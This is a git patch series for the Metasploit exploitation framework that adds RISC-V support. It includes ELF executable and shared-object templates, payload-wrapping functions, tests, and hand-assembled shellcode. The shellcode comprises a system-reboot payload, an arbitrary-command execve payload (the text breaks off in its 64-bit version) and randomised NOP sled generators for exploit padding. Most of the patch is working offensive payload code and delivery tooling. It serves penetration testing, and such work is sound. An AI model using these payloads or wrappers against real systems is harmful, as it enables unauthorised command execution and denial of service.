From 1c748d376ac02c4f32258fc0b4f1b4b8e49fc46d Mon Sep 17 00:00:00 2001 From: bcoles Date: Tue, 1 Oct 2024 02:37:29 +1000 Subject: [PATCH 1/7] Add RISC-V 32-bit/64-bit ELF templates --- .../src/elf/dll/elf_dll_riscv32le_template.s | 98 +++++++++++++++++ .../src/elf/dll/elf_dll_riscv64le_template.s | 99 ++++++++++++++++++ .../src/elf/exe/elf_riscv32le_template.s | 42 ++++++++ .../src/elf/exe/elf_riscv64le_template.s | 42 ++++++++ data/templates/template_riscv32le_linux.bin | Bin 0 -> 84 bytes .../template_riscv32le_linux_dll.bin | Bin 0 -> 246 bytes data/templates/template_riscv64le_linux.bin | Bin 0 -> 120 bytes .../template_riscv64le_linux_dll.bin | Bin 0 -> 416 bytes 8 files changed, 281 insertions(+) create mode 100644 data/templates/src/elf/dll/elf_dll_riscv32le_template.s create mode 100644 data/templates/src/elf/dll/elf_dll_riscv64le_template.s create mode 100755 data/templates/src/elf/exe/elf_riscv32le_template.s create mode 100755 data/templates/src/elf/exe/elf_riscv64le_template.s create mode 100644 data/templates/template_riscv32le_linux.bin create mode 100644 data/templates/template_riscv32le_linux_dll.bin create mode 100644 data/templates/template_riscv64le_linux.bin create mode 100644 data/templates/template_riscv64le_linux_dll.bin diff --git a/data/templates/src/elf/dll/elf_dll_riscv32le_template.s b/data/templates/src/elf/dll/elf_dll_riscv32le_template.s new file mode 100644 index 000000000000..7e4828f15800 --- /dev/null +++ b/data/templates/src/elf/dll/elf_dll_riscv32le_template.s @@ -0,0 +1,98 @@ +; build with: +; nasm elf_dll_riscv32le_template.s -f bin -o template_riscv32le_linux_dll.bin + +BITS 32 + +org 0 + +ehdr: + db 0x7f, "ELF", 1, 1, 1, 0 ; e_ident + db 0, 0, 0, 0, 0, 0, 0, 0 + dw 3 ; e_type = ET_DYN + dw 0xF3 ; e_machine = EM_RISCV + dd 1 ; e_version = EV_CURRENT + dd _start ; e_entry = _start + dd phdr - $$ ; e_phoff + dd shdr - $$ ; e_shoff + dd 0 ; e_flags + dw ehdrsize ; e_ehsize + dw phdrsize ; e_phentsize + dw 2 ; e_phnum + dw shentsize ; e_shentsize + dw 2 ; e_shnum + dw 1 ; e_shstrndx + +ehdrsize equ $ - ehdr + +phdr: + dd 1 ; p_type = PT_LOAD + dd 0 ; p_offset + dd $$ ; p_vaddr + dd $$ ; p_paddr + dd 0xDEADBEEF ; p_filesz + dd 0xDEADBEEF ; p_memsz + dd 7 ; p_flags = rwx + dd 0x1000 ; p_align + +phdrsize equ $ - phdr + + dd 2 ; p_type = PT_DYNAMIC + dd 7 ; p_flags = rwx + dd dynsection ; p_offset + dd dynsection ; p_vaddr + dd dynsection ; p_vaddr + dd dynsz ; p_filesz + dd dynsz ; p_memsz + dd 0x1000 ; p_align + +shdr: + dd 1 ; sh_name + dd 6 ; sh_type = SHT_DYNAMIC + dd 0 ; sh_flags + dd dynsection ; sh_addr + dd dynsection ; sh_offset + dd dynsz ; sh_size + dd 0 ; sh_link + dd 0 ; sh_info + dd 8 ; sh_addralign + dd 7 ; sh_entsize +shentsize equ $ - shdr + dd 0 ; sh_name + dd 3 ; sh_type = SHT_STRTAB + dd 0 ; sh_flags + dd strtab ; sh_addr + dd strtab ; sh_offset + dd strtabsz ; sh_size + dd 0 ; sh_link + dd 0 ; sh_info + dd 0 ; sh_addralign + dd 0 ; sh_entsize + +dynsection: +; DT_INIT + dd 0x0c + dd _start +; DT_STRTAB + dd 0x05 + dd strtab +; DT_SYMTAB + dd 0x06 + dd strtab +; DT_STRSZ + dd 0x0a + dd 0 +; DT_SYMENT + dd 0x0b + dd 0 +; DT_NULL + dd 0x00 + dd 0 +dynsz equ $ - dynsection + +strtab: + db 0 + db 0 +strtabsz equ $ - strtab + +global _start +_start: diff --git a/data/templates/src/elf/dll/elf_dll_riscv64le_template.s b/data/templates/src/elf/dll/elf_dll_riscv64le_template.s new file mode 100644 index 000000000000..db2de2e6c0fb --- /dev/null +++ b/data/templates/src/elf/dll/elf_dll_riscv64le_template.s @@ -0,0 +1,99 @@ +; build with: +; nasm elf_dll_riscv64le_template.s -f bin -o template_riscv64le_linux_dll.bin + +BITS 64 + +org 0 + +ehdr: ; Elf64_Ehdr + db 0x7F, "ELF", 2, 1, 1, 0 ; e_ident + db 0, 0, 0, 0, 0, 0, 0, 0 ; + dw 3 ; e_type = ET_DYN + dw 0xF3 ; e_machine = RISCV + dd 1 ; e_version + dq _start ; e_entry + dq phdr - $$ ; e_phoff + dq shdr - $$ ; e_shoff + dd 0 ; e_flags + dw ehdrsize ; e_ehsize + dw phdrsize ; e_phentsize + dw 2 ; e_phnum + dw shentsize ; e_shentsize + dw 2 ; e_shnum + dw 1 ; e_shstrndx + +ehdrsize equ $ - ehdr + +phdr: ; Elf32_Phdr + dd 1 ; p_type = PT_LOAD + dd 7 ; p_flags = rwx + dq 0 ; p_offset + dq $$ ; p_vaddr + dq $$ ; p_paddr + dq 0xDEADBEEF ; p_filesz + dq 0xDEADBEEF ; p_memsz + dq 0x1000 ; p_align + +phdrsize equ $ - phdr + dd 2 ; p_type = PT_DYNAMIC + dd 7 ; p_flags = rwx + dq dynsection ; p_offset + dq dynsection ; p_vaddr + dq dynsection ; p_vaddr + dq dynsz ; p_filesz + dq dynsz ; p_memsz + dq 0x1000 ; p_align + +shdr: + dd 1 ; sh_name + dd 6 ; sh_type = SHT_DYNAMIC + dq 0 ; sh_flags + dq dynsection ; sh_addr + dq dynsection ; sh_offset + dq dynsz ; sh_size + dd 0 ; sh_link + dd 0 ; sh_info + dq 8 ; sh_addralign + dq 7 ; sh_entsize +shentsize equ $ - shdr + dd 0 ; sh_name + dd 3 ; sh_type = SHT_STRTAB + dq 0 ; sh_flags + dq strtab ; sh_addr + dq strtab ; sh_offset + dq strtabsz ; sh_size + dd 0 ; sh_link + dd 0 ; sh_info + dq 0 ; sh_addralign + dq 0 ; sh_entsize + +dynsection: +; DT_INIT + dq 0x0c + dq _start +; DT_STRTAB + dq 0x05 + dq strtab +; DT_SYMTAB + dq 0x06 + dq strtab +; DT_STRSZ + dq 0x0a + dq 0 +; DT_SYMENT + dq 0x0b + dq 0 +; DT_NULL + dq 0x00 + dq 0 + +dynsz equ $ - dynsection + +strtab: + db 0 + db 0 +strtabsz equ $ - strtab + +align 16 +global _start +_start: diff --git a/data/templates/src/elf/exe/elf_riscv32le_template.s b/data/templates/src/elf/exe/elf_riscv32le_template.s new file mode 100755 index 000000000000..66035d945874 --- /dev/null +++ b/data/templates/src/elf/exe/elf_riscv32le_template.s @@ -0,0 +1,42 @@ +; build with: +; nasm elf_riscv32le_template.s -f bin -o template_riscv32le_linux.bin + +BITS 32 + +org 0x00010000 + +ehdr: ; Elf32_Ehdr + db 0x7F, "ELF", 1, 1, 1, 0 ; e_ident + db 0, 0, 0, 0, 0, 0, 0, 0 ; + dw 2 ; e_type = ET_EXEC for an executable + dw 0xF3 ; e_machine = RISCV + dd 1 ; e_version + dd _start ; e_entry + dd phdr - $$ ; e_phoff + dd 0 ; e_shoff + dd 0 ; e_flags + dw ehdrsize ; e_ehsize + dw phdrsize ; e_phentsize + dw 1 ; e_phnum + dw 0 ; e_shentsize + dw 0 ; e_shnum + dw 0 ; e_shstrndx + +ehdrsize equ $ - ehdr + +phdr: ; Elf32_Phdr + dd 1 ; p_type = PT_LOAD + dd 0 ; p_offset + dd $$ ; p_vaddr + dd $$ ; p_paddr + dd 0xDEADBEEF ; p_filesz + dd 0xDEADBEEF ; p_memsz + dd 7 ; p_flags = rwx + dd 0x1000 ; p_align + +phdrsize equ $ - phdr + +global _start + +_start: + diff --git a/data/templates/src/elf/exe/elf_riscv64le_template.s b/data/templates/src/elf/exe/elf_riscv64le_template.s new file mode 100755 index 000000000000..770606561b16 --- /dev/null +++ b/data/templates/src/elf/exe/elf_riscv64le_template.s @@ -0,0 +1,42 @@ +; build with: +; nasm elf_riscv64le_template.s -f bin -o template_riscv64le_linux.bin + +BITS 64 + +org 0x00400000 + +ehdr: ; Elf32_Ehdr + db 0x7F, "ELF", 2, 1, 1, 0 ; e_ident + db 0, 0, 0, 0, 0, 0, 0, 0 ; + dw 2 ; e_type = ET_EXEC for an executable + dw 0xF3 ; e_machine = RISCV + dd 1 ; e_version + dq _start ; e_entry + dq phdr - $$ ; e_phoff + dq 0 ; e_shoff + dd 0 ; e_flags + dw ehdrsize ; e_ehsize + dw phdrsize ; e_phentsize + dw 1 ; e_phnum + dw 0 ; e_shentsize + dw 0 ; e_shnum + dw 0 ; e_shstrndx + +ehdrsize equ $ - ehdr + +phdr: ; Elf32_Phdr + dd 1 ; p_type = PT_LOAD + dd 7 ; p_flags = rwx + dq 0 ; p_offset + dq $$ ; p_vaddr + dq $$ ; p_paddr + dq 0xDEADBEEF ; p_filesz + dq 0xDEADBEEF ; p_memsz + dq 0x1000 ; p_align + +phdrsize equ $ - phdr + +global _start + +_start: + diff --git a/data/templates/template_riscv32le_linux.bin b/data/templates/template_riscv32le_linux.bin new file mode 100644 index 0000000000000000000000000000000000000000..49dd3fd00c779ca1cf7b8b589ca27ac468a15f3e GIT binary patch literal 84 zcmb<-^>JflWMqH=CWg-pAYKTNG=T{MX%hwousBEvp&GJflWMqH=W`@rUAl^41HUZ)isDufF0s|9+1`soX<)Ol0>ixd8_du8(#1miu zs$pONv5z2O10WlOLGmE;*+6U{fT;n?L4+7MfHc@FAk7RF`vRmv7-Tj&-~kGN+{+5Y SAT=PfK{OW-g8(;#LLvdvKNNxh literal 0 HcmV?d00001 diff --git a/data/templates/template_riscv64le_linux.bin b/data/templates/template_riscv64le_linux.bin new file mode 100644 index 0000000000000000000000000000000000000000..35b3cfc07a83dcfe0ffa154dc0f430a32ba8aa9e GIT binary patch literal 120 zcmb<-^>JfjWMqH=CWg-pAYKK716T+`f|+o_fx!Z-1|$Gd%MOpKF+It`Y K7|kF6kp=(g literal 0 HcmV?d00001 diff --git a/data/templates/template_riscv64le_linux_dll.bin b/data/templates/template_riscv64le_linux_dll.bin new file mode 100644 index 0000000000000000000000000000000000000000..0f77915cb1f415771e1ec840ce1e3d27935274d1 GIT binary patch literal 416 zcmb<-^>JfjWMqH=W`@rUAl?E-2e1%?WMJ3;=0OMt1`7rz1_vN!1gm97l4Agh!&HIj z_xsk~L#7!7AhJwA3Z%~fY7aV{08z#Oqhb0$ZexSWfhb)1U`jZk3}iPl!z6+91gQNm i8ssi~fCnlG3m;Y}AEqDXHW;4^%`k2>J|=ep3IG7O_8X!A literal 0 HcmV?d00001 From f244d07bd07770ca13fba231c7d6ef0648be4d10 Mon Sep 17 00:00:00 2001 From: bcoles Date: Tue, 1 Oct 2024 02:38:46 +1000 Subject: [PATCH 2/7] Msf::Util::EXE: Add support for RISC-V ELF executables --- lib/msf/util/exe.rb | 67 +++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 67 insertions(+) diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb index e198006b6aef..f0ea9e4c8a83 100644 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -194,6 +194,21 @@ def self.to_executable(framework, arch, plat, code = '', opts = {}) end # XXX: Add remaining MIPSLE systems here end + + if arch.index(ARCH_RISCV32LE) + if plat.index(Msf::Module::Platform::Linux) + return to_linux_riscv32le_elf(framework, code) + end + # TODO: Add remaining RISCV32LE systems here + end + + if arch.index(ARCH_RISCV64LE) + if plat.index(Msf::Module::Platform::Linux) + return to_linux_riscv64le_elf(framework, code) + end + # TODO: Add remaining RISCV64LE systems here + end + nil end @@ -1239,6 +1254,50 @@ def self.to_linux_mipsbe_elf(framework, code, opts = {}) to_exe_elf(framework, opts, "template_mipsbe_linux.bin", code, true) end + # Create a RISC-V 64-bit LE Linux ELF containing the payload provided in +code+ + # + # @param framework [Msf::Framework] + # @param code [String] + # @param opts [Hash] + # @option [String] :template + # @return [String] Returns an elf + def self.to_linux_riscv64le_elf(framework, code, opts = {}) + to_exe_elf(framework, opts, "template_riscv64le_linux.bin", code) + end + + # Create a RISC-V 64-bit LE Linux ELF_DYN containing the payload provided in +code+ + # + # @param framework [Msf::Framework] + # @param code [String] + # @param opts [Hash] + # @option [String] :template + # @return [String] Returns an elf + def self.to_linux_riscv64le_elf_dll(framework, code, opts = {}) + to_exe_elf(framework, opts, "template_riscv64le_linux_dll.bin", code) + end + + # Create a RISC-V 32-bit LE Linux ELF containing the payload provided in +code+ + # + # @param framework [Msf::Framework] + # @param code [String] + # @param opts [Hash] + # @option [String] :template + # @return [String] Returns an elf + def self.to_linux_riscv32le_elf(framework, code, opts = {}) + to_exe_elf(framework, opts, "template_riscv32le_linux.bin", code) + end + + # Create a RISC-V 32-bit LE Linux ELF_DYN containing the payload provided in +code+ + # + # @param framework [Msf::Framework] + # @param code [String] + # @param opts [Hash] + # @option [String] :template + # @return [String] Returns an elf + def self.to_linux_riscv32le_elf_dll(framework, code, opts = {}) + to_exe_elf(framework, opts, "template_riscv32le_linux_dll.bin", code) + end + # self.to_exe_vba # # @param exes [String] @@ -2125,6 +2184,10 @@ def self.to_executable_fmt(framework, arch, plat, code, fmt, exeopts) to_linux_mipsbe_elf(framework, code, exeopts) when ARCH_MIPSLE to_linux_mipsle_elf(framework, code, exeopts) + when ARCH_RISCV32LE + to_linux_riscv32le_elf(framework, code, exeopts) + when ARCH_RISCV64LE + to_linux_riscv64le_elf(framework, code, exeopts) end elsif plat && plat.index(Msf::Module::Platform::BSD) case arch @@ -2153,6 +2216,10 @@ def self.to_executable_fmt(framework, arch, plat, code, fmt, exeopts) to_linux_armle_elf_dll(framework, code, exeopts) when ARCH_AARCH64 to_linux_aarch64_elf_dll(framework, code, exeopts) + when ARCH_RISCV32LE + to_linux_riscv32le_elf_dll(framework, code, exeopts) + when ARCH_RISCV64LE + to_linux_riscv64le_elf_dll(framework, code, exeopts) end end when 'macho', 'osx-app' From 92cf931d6e9593cb723d5334ac09edf56fffe772 Mon Sep 17 00:00:00 2001 From: bcoles Date: Tue, 1 Oct 2024 02:43:44 +1000 Subject: [PATCH 3/7] Add Linux Reboot 32-bit/64-bit RISC-V LE payloads --- .../singles/linux/riscv32le/reboot.rb | 43 ++++++++++++++++++ .../singles/linux/riscv64le/reboot.rb | 45 +++++++++++++++++++ 2 files changed, 88 insertions(+) create mode 100644 modules/payloads/singles/linux/riscv32le/reboot.rb create mode 100644 modules/payloads/singles/linux/riscv64le/reboot.rb diff --git a/modules/payloads/singles/linux/riscv32le/reboot.rb b/modules/payloads/singles/linux/riscv32le/reboot.rb new file mode 100644 index 000000000000..7cd0d94cea61 --- /dev/null +++ b/modules/payloads/singles/linux/riscv32le/reboot.rb @@ -0,0 +1,43 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +module MetasploitModule + CachedSize = 32 + + include Msf::Payload::Single + include Msf::Payload::Linux + + def initialize(info = {}) + super( + merge_info( + info, + 'Name' => 'Linux Reboot', + 'Description' => %q{ + A very small shellcode for rebooting the system using + the reboot syscall. This payload is sometimes helpful + for testing purposes. + }, + 'Author' => 'bcoles', + 'License' => MSF_LICENSE, + 'Platform' => 'linux', + 'Arch' => ARCH_RISCV32LE + ) + ) + end + + def generate(_opts = {}) + shellcode = + [0xfee1e537].pack('V*') + # lui a0,0xfee1e + [0xead50513].pack('V*') + # addi a0,a0,-339 + [0x281225b7].pack('V*') + # lui a1,0x2812 + [0x96958593].pack('V*') + # addi a1,a1,-1687 + [0x01234637].pack('V*') + # lui a2,0x1234 + [0x56760613].pack('V*') + # addi a2,a2,1383 + [0x08e00893].pack('V*') + # li a7,142 + [0x00000073].pack('V*') # ecall + + super.to_s + shellcode + end +end diff --git a/modules/payloads/singles/linux/riscv64le/reboot.rb b/modules/payloads/singles/linux/riscv64le/reboot.rb new file mode 100644 index 000000000000..bd213cb43718 --- /dev/null +++ b/modules/payloads/singles/linux/riscv64le/reboot.rb @@ -0,0 +1,45 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +module MetasploitModule + CachedSize = 40 + + include Msf::Payload::Single + include Msf::Payload::Linux + + def initialize(info = {}) + super( + merge_info( + info, + 'Name' => 'Linux Reboot', + 'Description' => %q{ + A very small shellcode for rebooting the system using + the reboot syscall. This payload is sometimes helpful + for testing purposes. + }, + 'Author' => 'bcoles', + 'License' => MSF_LICENSE, + 'Platform' => 'linux', + 'Arch' => ARCH_RISCV64LE + ) + ) + end + + def generate(_opts = {}) + shellcode = + [0x0007f537].pack('V*') + # lui a0,0x7f + [0x70f5051b].pack('V*') + # addiw a0,a0,1807 + [0x00d51513].pack('V*') + # slli a0,a0,0xd + [0xead50513].pack('V*') + # addi a0,a0,-339 + [0x281225b7].pack('V*') + # lui a1,0x28122 + [0x9695859b].pack('V*') + # addiw a1,a1,-1687 + [0x01234637].pack('V*') + # lui a2,0x1234 + [0x5676061b].pack('V*') + # addiw a2,a2,1383 + [0x08e00893].pack('V*') + # li a7,142 + [0x00000073].pack('V*') # ecall + + super.to_s + shellcode + end +end From befabb8887715c00071ca46cd4eb4de34db49387 Mon Sep 17 00:00:00 2001 From: bcoles Date: Tue, 1 Oct 2024 02:46:28 +1000 Subject: [PATCH 4/7] Add 32-bit/64-bit RISC-V LE NOP sled modules --- modules/nops/riscv32le/simple.rb | 103 +++++++++++++++++++++++++++++++ modules/nops/riscv64le/simple.rb | 103 +++++++++++++++++++++++++++++++ 2 files changed, 206 insertions(+) create mode 100644 modules/nops/riscv32le/simple.rb create mode 100644 modules/nops/riscv64le/simple.rb diff --git a/modules/nops/riscv32le/simple.rb b/modules/nops/riscv32le/simple.rb new file mode 100644 index 000000000000..b22f153ac292 --- /dev/null +++ b/modules/nops/riscv32le/simple.rb @@ -0,0 +1,103 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +# This class implements a simple NOP generator for RISC-V 32-bit (Little Endian) +class MetasploitModule < Msf::Nop + + def initialize + super( + 'Name' => 'Simple', + 'Alias' => 'riscv32le_simple', + 'Description' => 'Simple NOP generator', + 'License' => MSF_LICENSE, + 'Author' => ['bcoles'], + 'Arch' => ARCH_RISCV32LE) + register_advanced_options([ + OptBool.new('RandomNops', [false, 'Generate a random NOP sled', true]), + ]) + end + + def generate_sled(length, opts) + badchars = opts['BadChars'] || '' + random = opts['Random'] || datastore['RandomNops'] + + nops = [ + # Safe NULL-free nops using temporary registers (t0 - t6) + [0x400282b3].pack('V'), # sub t0, t0, 0 + [0x40030333].pack('V'), # sub t1, t1, 0 + [0x400383b3].pack('V'), # sub t2, t2, 0 + [0x400e0e33].pack('V'), # sub t3, t3, 0 + [0x400e8eb3].pack('V'), # sub t4, t4, 0 + [0x400f0f33].pack('V'), # sub t5, t5, 0 + [0x400f8fb3].pack('V'), # sub t6, t6, 0 + + # Safe NULL-free nops using zero register (x0) + [0x01102013].pack('V'), # slti x0, x0, 0x11 + [0x7ff02013].pack('V'), # slti x0, x0, 0x7ff + + [0x01103013].pack('V'), # sltiu x0, x0, 0x11 + [0x7ff03013].pack('V'), # sltiu x0, x0, 0x7ff + + [0x01105013].pack('V'), # srli x0, x0, 0x11 + [0x01f05013].pack('V'), # srli x0, x0, 0x1f + + [0x01101013].pack('V'), # slli x0, x0, 0x11 + [0x01f01013].pack('V'), # slli x0, x0, 0x1f + + [0x41105013].pack('V'), # srai x0, x0, 0x11 + [0x41f05013].pack('V'), # srai x0, x0, 0x1f + + [0x01106013].pack('V'), # ori x0, x0, 0x11 + [0x7ff06013].pack('V'), # ori x0, x0, 0x7ff + + [0x01104013].pack('V'), # xori x0, x0, 0x11 + [0x7ff04013].pack('V'), # xori x0, x0, 0x7ff + + [0x01107013].pack('V'), # andi x0, x0, 0x11 + [0x7ff07013].pack('V'), # andi x0, x0, 0x7ff + + [0x10101037].pack('V'), # lui x0, 0x10101 + [0xfffff037].pack('V'), # lui x0, 0xfffff + + # Safe NULL-free numeric nops using zero register (x0) + # lui x0, 0x????3037 + "\x37\x30" + Rex::Text.rand_text_numeric(2, badchars), + + # Safe NULL-free alphanumeric nops using zero register (x0) + # lui x0, 0x????[357]037 + "\x37\x30" + Rex::Text.rand_text_alphanumeric(2, badchars), + "\x37\x50" + Rex::Text.rand_text_alphanumeric(2, badchars), + "\x37\x70" + Rex::Text.rand_text_alphanumeric(2, badchars), + + # Safe NULL-free english nops using zero register (x0) + # lui x0, 0x????[34567]037 + "\x37\x30" + Rex::Text.rand_text_english(2, badchars), + "\x37\x40" + Rex::Text.rand_text_english(2, badchars), + "\x37\x50" + Rex::Text.rand_text_english(2, badchars), + "\x37\x60" + Rex::Text.rand_text_english(2, badchars), + "\x37\x70" + Rex::Text.rand_text_english(2, badchars), + ] + + # Remove nops containing BadChars + nops.delete_if do |nop| + nop.bytes.any? { |byte| badchars.force_encoding('BINARY').include?(byte.chr) } + end + + # Give up if no safe nops are available + return if nops.empty? + + # Use random instructions for all NOPs + if random + sled = '' + (length / 4).times do + sled << nops.sample + end + return sled + end + + # Use a single instruction for all NOPs + return (nops.sample * (length / 4)) + end +end diff --git a/modules/nops/riscv64le/simple.rb b/modules/nops/riscv64le/simple.rb new file mode 100644 index 000000000000..b522ee78e2e0 --- /dev/null +++ b/modules/nops/riscv64le/simple.rb @@ -0,0 +1,103 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +# This class implements a simple NOP generator for RISC-V 64-bit (Little Endian) +class MetasploitModule < Msf::Nop + + def initialize + super( + 'Name' => 'Simple', + 'Alias' => 'riscv64le_simple', + 'Description' => 'Simple NOP generator', + 'License' => MSF_LICENSE, + 'Author' => ['bcoles'], + 'Arch' => ARCH_RISCV64LE) + register_advanced_options([ + OptBool.new('RandomNops', [false, 'Generate a random NOP sled', true]), + ]) + end + + def generate_sled(length, opts) + badchars = opts['BadChars'] || '' + random = opts['Random'] || datastore['RandomNops'] + + nops = [ + # Safe NULL-free nops using temporary registers (t0 - t6) + [0x400282b3].pack('V'), # sub t0, t0, 0 + [0x40030333].pack('V'), # sub t1, t1, 0 + [0x400383b3].pack('V'), # sub t2, t2, 0 + [0x400e0e33].pack('V'), # sub t3, t3, 0 + [0x400e8eb3].pack('V'), # sub t4, t4, 0 + [0x400f0f33].pack('V'), # sub t5, t5, 0 + [0x400f8fb3].pack('V'), # sub t6, t6, 0 + + # Safe NULL-free nops using zero register (x0) + [0x01102013].pack('V'), # slti x0, x0, 0x11 + [0x7ff02013].pack('V'), # slti x0, x0, 0x7ff + + [0x01103013].pack('V'), # sltiu x0, x0, 0x11 + [0x7ff03013].pack('V'), # sltiu x0, x0, 0x7ff + + [0x01105013].pack('V'), # srli x0, x0, 0x11 + [0x03f05013].pack('V'), # srli x0, x0, 0x3f + + [0x01101013].pack('V'), # slli x0, x0, 0x11 + [0x03f01013].pack('V'), # slli x0, x0, 0x3f + + [0x41105013].pack('V'), # srai x0, x0, 0x11 + [0x43f05013].pack('V'), # srai x0, x0, 0x3f + + [0x01106013].pack('V'), # ori x0, x0, 0x11 + [0x7ff06013].pack('V'), # ori x0, x0, 0x7ff + + [0x01104013].pack('V'), # xori x0, x0, 0x11 + [0x7ff04013].pack('V'), # xori x0, x0, 0x7ff + + [0x01107013].pack('V'), # andi x0, x0, 0x11 + [0x7ff07013].pack('V'), # andi x0, x0, 0x7ff + + [0x10101037].pack('V'), # lui x0, 0x10101 + [0xfffff037].pack('V'), # lui x0, 0xfffff + + # Safe NULL-free numeric nops using zero register (x0) + # lui x0, 0x????3037 + "\x37\x30" + Rex::Text.rand_text_numeric(2, badchars), + + # Safe NULL-free alphanumeric nops using zero register (x0) + # lui x0, 0x????[357]037 + "\x37\x30" + Rex::Text.rand_text_alphanumeric(2, badchars), + "\x37\x50" + Rex::Text.rand_text_alphanumeric(2, badchars), + "\x37\x70" + Rex::Text.rand_text_alphanumeric(2, badchars), + + # Safe NULL-free english nops using zero register (x0) + # lui x0, 0x????[34567]037 + "\x37\x30" + Rex::Text.rand_text_english(2, badchars), + "\x37\x40" + Rex::Text.rand_text_english(2, badchars), + "\x37\x50" + Rex::Text.rand_text_english(2, badchars), + "\x37\x60" + Rex::Text.rand_text_english(2, badchars), + "\x37\x70" + Rex::Text.rand_text_english(2, badchars), + ] + + # Remove nops containing BadChars + nops.delete_if do |nop| + nop.bytes.any? { |byte| badchars.force_encoding('BINARY').include?(byte.chr) } + end + + # Give up if no safe nops are available + return if nops.empty? + + # Use random instructions for all NOPs + if random + sled = '' + (length / 4).times do + sled << nops.sample + end + return sled + end + + # Use a single instruction for all NOPs + return (nops.sample * (length / 4)) + end +end From 5e1ecfc0c0b2f7babc00268aea1b3e82b37cfa43 Mon Sep 17 00:00:00 2001 From: bcoles Date: Tue, 1 Oct 2024 18:27:30 +1000 Subject: [PATCH 5/7] Add tests for Linux Reboot 32-bit/64-bit RISC-V LE payloads --- spec/modules/payloads_spec.rb | 20 ++++++++++++++++++++ 1 file changed, 20 insertions(+) diff --git a/spec/modules/payloads_spec.rb b/spec/modules/payloads_spec.rb index 19e66f977327..102f3aa1757e 100644 --- a/spec/modules/payloads_spec.rb +++ b/spec/modules/payloads_spec.rb @@ -1845,6 +1845,26 @@ reference_name: 'linux/ppc64/shell_reverse_tcp' end + context 'linux/riscv32le/reboot' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'singles/linux/riscv32le/reboot' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'linux/riscv32le/reboot' + end + + context 'linux/riscv64le/reboot' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'singles/linux/riscv64le/reboot' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'linux/riscv64le/reboot' + end + context 'linux/x64/exec' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ From 27ebde9ad5deec1947ec7975d3e3244ab5034cbe Mon Sep 17 00:00:00 2001 From: bcoles Date: Sat, 5 Oct 2024 00:01:41 +1000 Subject: [PATCH 6/7] Add Linux Execute Command 32-bit/64-bit RISC-V LE payloads --- .../payloads/singles/linux/riscv32le/exec.rb | 74 ++++++++++++++++++ .../payloads/singles/linux/riscv64le/exec.rb | 75 +++++++++++++++++++ 2 files changed, 149 insertions(+) create mode 100644 modules/payloads/singles/linux/riscv32le/exec.rb create mode 100644 modules/payloads/singles/linux/riscv64le/exec.rb diff --git a/modules/payloads/singles/linux/riscv32le/exec.rb b/modules/payloads/singles/linux/riscv32le/exec.rb new file mode 100644 index 000000000000..59e903ef3b62 --- /dev/null +++ b/modules/payloads/singles/linux/riscv32le/exec.rb @@ -0,0 +1,74 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +module MetasploitModule + CachedSize = 96 + + include Msf::Payload::Single + include Msf::Payload::Linux + + def initialize(info = {}) + super( + merge_info( + info, + 'Name' => 'Linux Execute Command', + 'Description' => 'Execute an arbitrary command', + 'Author' => [ + 'modexp', # cmd.s execve RISC-V 64-bit shellcode + 'bcoles', # metasploit + ], + 'License' => BSD_LICENSE, + 'Platform' => 'linux', + 'Arch' => ARCH_RISCV32LE, + 'References' => [ + ['URL', 'https://modexp.wordpress.com/2022/05/02/shellcode-risc-v-linux/'], + ['URL', 'https://github.com/odzhan/shellcode/blob/master/os/linux/riscv64/cmd.s'], + ] + ) + ) + register_options([ + OptString.new('CMD', [ true, 'The command string to execute' ]), + ]) + end + + # + # Returns the command string to use for execution + # + def command_string + datastore['CMD'] || '' + end + + def generate(_opts = {}) + shellcode = + [0xfe010113].pack('V*') + # addi sp,sp,-32 + [0x0dd00893].pack('V*') + # li a7,221 + [0x6e696537].pack('V*') + # lui a0,0x6e696 + [0x22f50513].pack('V*') + # addi a0,a0,559 # 6e69622f <__global_pointer$+0x6e6848af> + [0x00a12023].pack('V*') + # sw a0,0(sp) + [0x00687537].pack('V*') + # lui a0,0x687 + [0x32f50513].pack('V*') + # addi a0,a0,815 # 68732f <__global_pointer$+0x6759af> + [0x00a12223].pack('V*') + # sw a0,4(sp) + [0x00010513].pack('V*') + # mv a0,sp + [0x000065b7].pack('V*') + # lui a1,0x6 + [0x32d58593].pack('V*') + # addi a1,a1,813 # 632d <_start-0x9d27> + [0x00b12423].pack('V*') + # sw a1,8(sp) + [0x00810593].pack('V*') + # addi a1,sp,8 + [0x00000617].pack('V*') + # auipc a2,0x0 + [0x02460613].pack('V*') + # addi a2,a2,36 # 100ac + [0x00a12623].pack('V*') + # sw a0,12(sp) + [0x00b12823].pack('V*') + # sw a1,16(sp) + [0x00c12a23].pack('V*') + # sw a2,20(sp) + [0x00012c23].pack('V*') + # sw zero,24(sp) + [0x00c10593].pack('V*') + # addi a1,sp,12 + [0x00000613].pack('V*') + # li a2,0 + [0x00000073].pack('V*') + # ecall + command_string + "\x00" + + # align our shellcode to 4 bytes + shellcode += "\x00" while shellcode.bytesize % 4 != 0 + + super.to_s + shellcode + end +end diff --git a/modules/payloads/singles/linux/riscv64le/exec.rb b/modules/payloads/singles/linux/riscv64le/exec.rb new file mode 100644 index 000000000000..7f04eb77820f --- /dev/null +++ b/modules/payloads/singles/linux/riscv64le/exec.rb @@ -0,0 +1,75 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +module MetasploitModule + CachedSize = 100 + + include Msf::Payload::Single + include Msf::Payload::Linux + + def initialize(info = {}) + super( + merge_info( + info, + 'Name' => 'Linux Execute Command', + 'Description' => 'Execute an arbitrary command', + 'Author' => [ + 'modexp', # cmd.s execve RISC-V 64-bit shellcode + 'bcoles', 